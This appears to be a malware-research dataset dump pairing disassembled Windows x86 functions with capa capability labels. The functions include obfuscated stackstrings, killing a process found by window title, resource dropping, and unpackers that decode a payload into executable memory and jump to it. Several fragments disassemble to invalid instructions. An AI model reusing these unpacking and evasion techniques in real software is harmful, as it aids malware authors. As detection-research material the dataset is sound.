joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
jmp 0x40101b
xor ebx, ebx
mov dword [ebp - 4], ebx
jmp 0x40102b
mov byte [ebp - 0x20], 0x43
jmp 0x401043
mov byte [ebp - 0x1e], 0x61
mov byte [ebp - 0x22], 0x6f
mov byte [ebp - 0x23], 0x47
mov byte [ebp - 0x24], 0x2a
mov byte [ebp - 0x1b], 0x2a
mov byte [ebp - 0x1d], 0x73
mov byte [ebp - 0x1f], 0x6c
mov byte [ebp - 0x1c], 0x73
mov byte [ebp - 0x21], 0x64
mov byte [ebp - 0x1a], bl
jmp 0x40107e
lea eax, [ebp - 0x24]
push ebx
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
cmp eax, ebx
je 0x4010b2
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
cmp dword [ebp - 4], ebx
je 0x4010b2
push dword [ebp - 4]
push 1
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
pop ebx
leave
ret

Function at 0x401129
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push edi
jmp 0x401151
xor eax, eax
lea edi, [ebp - 0x2b]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x17]
stosd dword es:[edi], eax
and dword [ebp - 4], 0
mov byte [ebp - 0x2c], 0x52
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov byte [ebp - 0x10], 0x2e
mov byte [ebp - 0xf], 0x64
mov byte [ebp - 0xe], 0x6c
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x67
mov byte [ebp - 0x29], 0x51
mov byte [ebp - 0x28], 0x75
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x72
mov byte [ebp - 0x25], 0x79
mov byte [ebp - 0x14], 0x70
mov byte [ebp - 0x13], 0x69
mov byte [ebp - 0x12], 0x33
mov byte [ebp - 0x11], 0x32
mov byte [ebp - 0x24], 0x56
mov byte [ebp - 0x23], 0x61
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x75
mov byte [ebp - 0x20], 0x65
mov byte [ebp - 0x1f], 0x45
mov byte [ebp - 0x1e], 0x78
mov byte [ebp - 0x1d], 0x41
mov byte [ebp - 0x18], 0x41
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], 0x76
mov byte [ebp - 0x15], 0x61
jmp 0x4011ed
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 8], eax
jmp 0x401219
test eax, eax
je 0x40125d
jmp 0x401231
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp - 8]
mov dword [ebp - 4], eax
jmp 0x40125d
jmp 0x401271
mov eax, dword [ebp - 4]
pop edi
leave
ret
Function at 0x40153d
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
jmp 0x401558
movzx eax, word [ebp + 0x10]
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov esi, eax
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_LoadResource]
push eax
mov dword [ebp + 0x10], eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
push esi
mov dword [ebp + 0x14], eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov esi, eax
xor ebx, ebx
cmp esi, ebx
je 0x4015c8
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, ebx
je 0x4015c8
lea eax, [ebp - 4]
push ebx
push eax
push esi
push dword [ebp + 0x14]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 1
pop ebx
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_FreeResource]
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x4010b2
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x410284]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
jne 0x4010ff
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x804]
push 0x3ff
push 0x400
push eax
call fcn.0040170c
lea eax, [ebp - 0x804]
push eax
call fcn.0040170c
add esp, 0x18
push 1
call dword [sym.imp.kernel32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401ea2
leave
ret

Function at 0x40110b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x410284]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
jne 0x401158
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push 0x3ff
push 0x400
push eax
call fcn.0040170c
lea eax, [ebp - 0x404]
push eax
call fcn.0040170c
add esp, 0x18
push 1
call dword [sym.imp.kernel32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401ea2
leave
ret

Function at 0x40170c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x40171b
pop dword [ebp - 0x50]
mov eax, 0x78ae34c8
sub eax, 0x786e1dad
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xaf26cbfc
sub dword [ebp - 0x60], 0x60d486b1
mov dword [ebp - 0x5c], 0xbe477d96
sub dword [ebp - 0x5c], 0x8c143151
mov dword [ebp - 0x58], 0xefff3578
add dword [ebp - 0x58], 0x5c4d0eb6
mov dword [ebp - 0x54], 0x614f5ed3
sub dword [ebp - 0x54], 0x614f5ed3
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xe73a4eca
add dword [ebp - 0x60], 0x8d381a8c
mov dword [ebp - 0x5c], 0x8a8a4c10
add dword [ebp - 0x5c], 0xb6e21565
mov dword [ebp - 0x58], 0x9c181dc6
add dword [ebp - 0x58], 0xc7574ea6
mov dword [ebp - 0x54], 0xb0b706d2
sub dword [ebp - 0x54], 0xb0b706d2
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x3dfa4f8f
add eax, 0xc24680bd
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x38152
push 0
call eax
mov ecx, 0xac5de1b6
sub ecx, 0xac5da04f
mov edi, eax
mov ebx, 0x41b000
add ebx, dword [ebp - 0x50]
mov edx, 0xec471462
sub edx, 0x2533286
mov esi, dword [ebx]
mov dword [ebp - 0x44], 0x998dec41
sub esi, edx
xor dword [ebp - 0x48], 0x9871aee7
mov dword [edi], esi
add dword [ebp - 0x44], esi
add edi, 0x8ad826
add edi, 0xff7527de
add ebx, 0xae29d979
sub ebx, 0xae29d975
loop 0x401832
add eax, 0x138cb11e
sub eax, 0x138bb8af
xor ebx, ebx
add ebx, eax
add eax, 0xefba035
add eax, 0xf1045fd0
mov ecx, 0x1e944452
add ecx, 0xe1abbbae
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x402c00
pop dword [ebp - 0x3c]
mov eax, 0x41c85ac4
add eax, 0xbe77d13c
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xc726dbfd
add dword [ebp - 0x4c], 0x872b694e
mov dword [ebp - 0x48], 0xd1866e6e
sub dword [ebp - 0x48], 0x9f532229
mov dword [ebp - 0x44], 0x25312465
add dword [ebp - 0x44], 0x271b1fc9
mov dword [ebp - 0x40], 0x3240df19
sub dword [ebp - 0x40], 0x3240df19
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xd61098b0
sub dword [ebp - 0x4c], 0x619e2f5a
mov dword [ebp - 0x48], 0xd03ef76c
add dword [ebp - 0x48], 0x712d6a09
mov dword [ebp - 0x44], 0x4e79b186
sub dword [ebp - 0x44], 0xeb0a451a
mov dword [ebp - 0x40], 0xc55291be
sub dword [ebp - 0x40], 0xc55291be
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x410cfe9f
add eax, 0xbf337209
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x357b2
push 0
call eax
mov ecx, 0x432b
mov edi, eax
mov esi, 0xfc4bfcc2
add esi, 0x3f5033e
add esi, dword [ebp - 0x3c]
mov ebx, 0xf04acd76
xor dword [ebp - 0x24], ecx
mov edx, dword [esi]
add dword [ebp - 0x28], 0x3cd3c4b4
sub edx, ebx
mov dword [ebp - 0x30], 0x74928849
mov dword [edi], edx
add dword [ebp - 0x34], eax
add edi, 0x11706886
sub edi, 0x11706882
add esi, 4
loop 0x402d11
add eax, 0xff7f
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x401040
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40105b
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401094
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x401090
jmp 0x401080
cmp esi, eax
jae 0x401094
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401080
cmp esi, eax
jb 0x40109b
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x401110
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x425a8c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 0x110], esi
test ebx, ebx
je 0x401215
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x401215
lea eax, [ebp - 0x108]
push eax
push 0x10008
push 0
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40121a
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea ecx, [ecx]
mov eax, dword [ebp - 0x108]
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x10c]
push ecx
lea edx, [ebp - 0x104]
push edx
push 0
push eax
mov dword [ebp - 0x10c], 0x100
call edi
mov esi, eax
cmp esi, 0x103
je 0x4011e5
test esi, esi
jne 0x4011f5
mov edx, dword [ebp - 0x108]
lea ecx, [ebp - 0x104]
push ecx
push edx
call fcn.00401110
mov esi, eax
add esp, 8
test esi, esi
je 0x401170
mov ecx, dword [ebp - 0x108]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040ca0e
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x110]
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
mov ecx, dword [ebp - 0x108]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040ca0e
mov esp, ebp
pop ebp
ret
mov eax, 0x3f2
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ca0e
mov esp, ebp
pop ebp
ret
Function at 0x401230
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [0x425a8c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x9c
lea eax, [ebp - 0xa0]
push 0
push eax
call fcn.0040ca20
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
add esp, 0xc
lea ecx, [ebp - 0xa0]
push ecx
mov dword [ebp - 0xa0], 0x9c
call esi
test eax, eax
jne 0x4012a0
lea edx, [ebp - 0xa0]
push edx
mov dword [ebp - 0xa0], 0x94
call esi
test eax, eax
jne 0x4012a0
or eax, 0xffffffff
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040ca0e
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x90]
sub eax, 1
je 0x40131e
sub eax, 1
jne 0x40130a
mov eax, dword [ebp - 0x9c]
cmp eax, 4
ja 0x4012cf
mov eax, 4
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040ca0e
mov esp, ebp
pop ebp
ret
cmp eax, 5
jne 0x4012f1
xor eax, eax
cmp dword [ebp - 0x98], eax
pop esi
setne al
add eax, 5
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040ca0e
mov esp, ebp
pop ebp
ret
cmp eax, 6
jb 0x40130a
mov eax, 7
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040ca0e
mov esp, ebp
pop ebp
ret
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040ca0e
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x9c]
cmp eax, 4
ja 0x401348
jne 0x401334
cmp dword [ebp - 0x98], 0
ja 0x401348
mov eax, 2
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040ca0e
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 3
pop esi
call fcn.0040ca0e
mov esp, ebp
pop ebp
ret

Function at 0x401740
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
mov eax, dword [0x425a8c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0x160
lea eax, [ebp - 0x164]
push 0
push eax
call fcn.0040ca20
mov edx, dword [ebp + 8]
add esp, 0xc
push 0x800
push 0x160
lea ecx, [ebp - 0x164]
push ecx
push 0
push edx
mov byte [0x426e08], 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
test eax, eax
mov eax, dword [ebp + 8]
setne bl
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4017b2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 4]
mov al, bl
xor ecx, ebp
pop ebx
call fcn.0040ca0e
mov esp, ebp
pop ebp
ret
Function at 0x40f2be
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.0040efc3
imul edi, dword [edx + 0x458d5fb5], 0xffffffc0
push eax
call fcn.0040efd3
push eax
push esi
push dword [ebp + 8]
call fcn.0040ef88
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.0040efc3
fst qword [ebp - 0x45]
lea eax, [ebp - 0x18]
mov byte [ebp - 0x18], bl
push eax
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.0040efd3
push eax
push esi
push dword [ebp + 8]
call fcn.0040ef88
mov dword [ebp - 8], eax

Function at 0x40f37d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.0040efd3
push eax
push esi
push dword [ebp + 8]
call fcn.0040ef88
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.0040efd3
push eax
push esi
push dword [ebp + 8]
call fcn.0040ef88
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.0040efc3
lcall 0x7c9d, 0x88d9cf91
invalid

Function at 0x40ff15
Capabilities:
Contain obfuscated stackstrings

Disassembly:
xor dh, al
test dword [edx + 0x21fffffc], ebx
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
Function at 0x40ff49
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
test dword [edi + 0x30fffffc], ebx
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov eax, dword [0x11fffffc]
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
mov byte [ebp - 0x356], 0x14
mov byte [ebp - 0x355], 0x55
lea eax, [ebp - 0x36c]
cld
invalid
call dword [eax - 0x18]
xor esi, eax
invalid
call [ecx + 0x50]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040ef88
add esp, 0xc
mov dword [ebp - 0x3d4], eax
call fcn.0040efc3
jno 0x41002a
xchg edi, eax
pop eax
push 0x104
lea eax, [ebp - 0x12c]
push eax
call dword [ebp - 0x3d4]
mov dword [ebp - 0x28], eax
call fcn.0040efc3
dec edx
invalid
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040ef88
add esp, 0xc
mov dword [ebp - 0x370], eax
lea eax, [ebp - 0x654]
push eax
push 0x104
call dword [ebp - 0x370]
invalid
dec dword [ecx - 0x54f7b]
dec dword [ebx - 0x41f027bb]
test byte [0xfffffed3], al
cmp eax, 0x5c
jne 0x41006f
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x550]
movsx eax, byte [ebp + eax - 0x655]
invalid
inc dword [ebx + 0xd755cf8]

Function at 0x410430
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x72a], 0xc2
and byte [ebp - 0x729], 0
mov byte [ebp - 0x728], 0x6b
mov byte [ebp - 0x727], 0x54
mov byte [ebp - 0x726], 0x4f
mov byte [ebp - 0x725], 0x49
mov byte [ebp - 0x724], 0x48
mov byte [ebp - 0x723], 0x5c
mov byte [ebp - 0x722], 0x51
mov byte [ebp - 0x721], 0x6d
mov byte [ebp - 0x720], 0x4f
mov byte [ebp - 0x71f], 0x52
mov byte [ebp - 0x71e], 0x49
mov byte [ebp - 0x71d], 0x58
mov byte [ebp - 0x71c], 0x5e
mov byte [ebp - 0x71b], 0x49
mov byte [ebp - 0x71a], 0x3d
call fcn.0040efc3
xor edi, dword [edx - 0x40]
scasb al, byte es:[edi]
lea eax, [ebp - 0x72c]
push eax
call fcn.0040efd3
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040ef88
add esp, 0xc
mov dword [ebp - 0x6e4], eax
call fcn.0040efc3
mov dword [0x8d33d437], eax
test eax, ebp
clc
invalid
Function at 0x417a73
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00412751
and dword [ebp - 4], 0
cmp dword [0x429768], 0
mov ebx, eax
jne 0x417b24
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x417bd5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x420c70
push edi
call esi
test eax, eax
je 0x417bd5
push eax
call fcn.004126df
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x429768], eax
call esi
push eax
call fcn.004126df
mov dword [esp], 0x420c4c
push edi
mov dword [0x42976c], eax
call esi
push eax
call fcn.004126df
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x429770], eax
call esi
push eax
call fcn.004126df
pop ecx
mov dword [0x429778], eax
test eax, eax
je 0x417b24
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004126df
pop ecx
mov dword [0x429774], eax
mov eax, dword [0x429774]
cmp eax, ebx
je 0x417b7c
cmp dword [0x429778], ebx
je 0x417b7c
push eax
call fcn.0041275a
push dword [0x429778]
mov esi, eax
call fcn.0041275a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x417b7c
test edi, edi
je 0x417b7c
call esi
test eax, eax
je 0x417b73
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x417b73
test byte [ebp - 0xc], 1
jne 0x417b7c
or dword [ebp + 0x10], 0x200000
jmp 0x417bb5
mov eax, dword [0x42976c]
cmp eax, ebx
je 0x417bb5
push eax
call fcn.0041275a
pop ecx
test eax, eax
je 0x417bb5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x417bb5
mov eax, dword [0x429770]
cmp eax, ebx
je 0x417bb5
push eax
call fcn.0041275a
pop ecx
test eax, eax
je 0x417bb5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x429768]
call fcn.0041275a
pop ecx
test eax, eax
je 0x417bd5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x417bd7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401c40
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0
mov dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
pop ebp
ret

Function at 0x402450
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.00402460

Function at 0x4026e0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.004026f0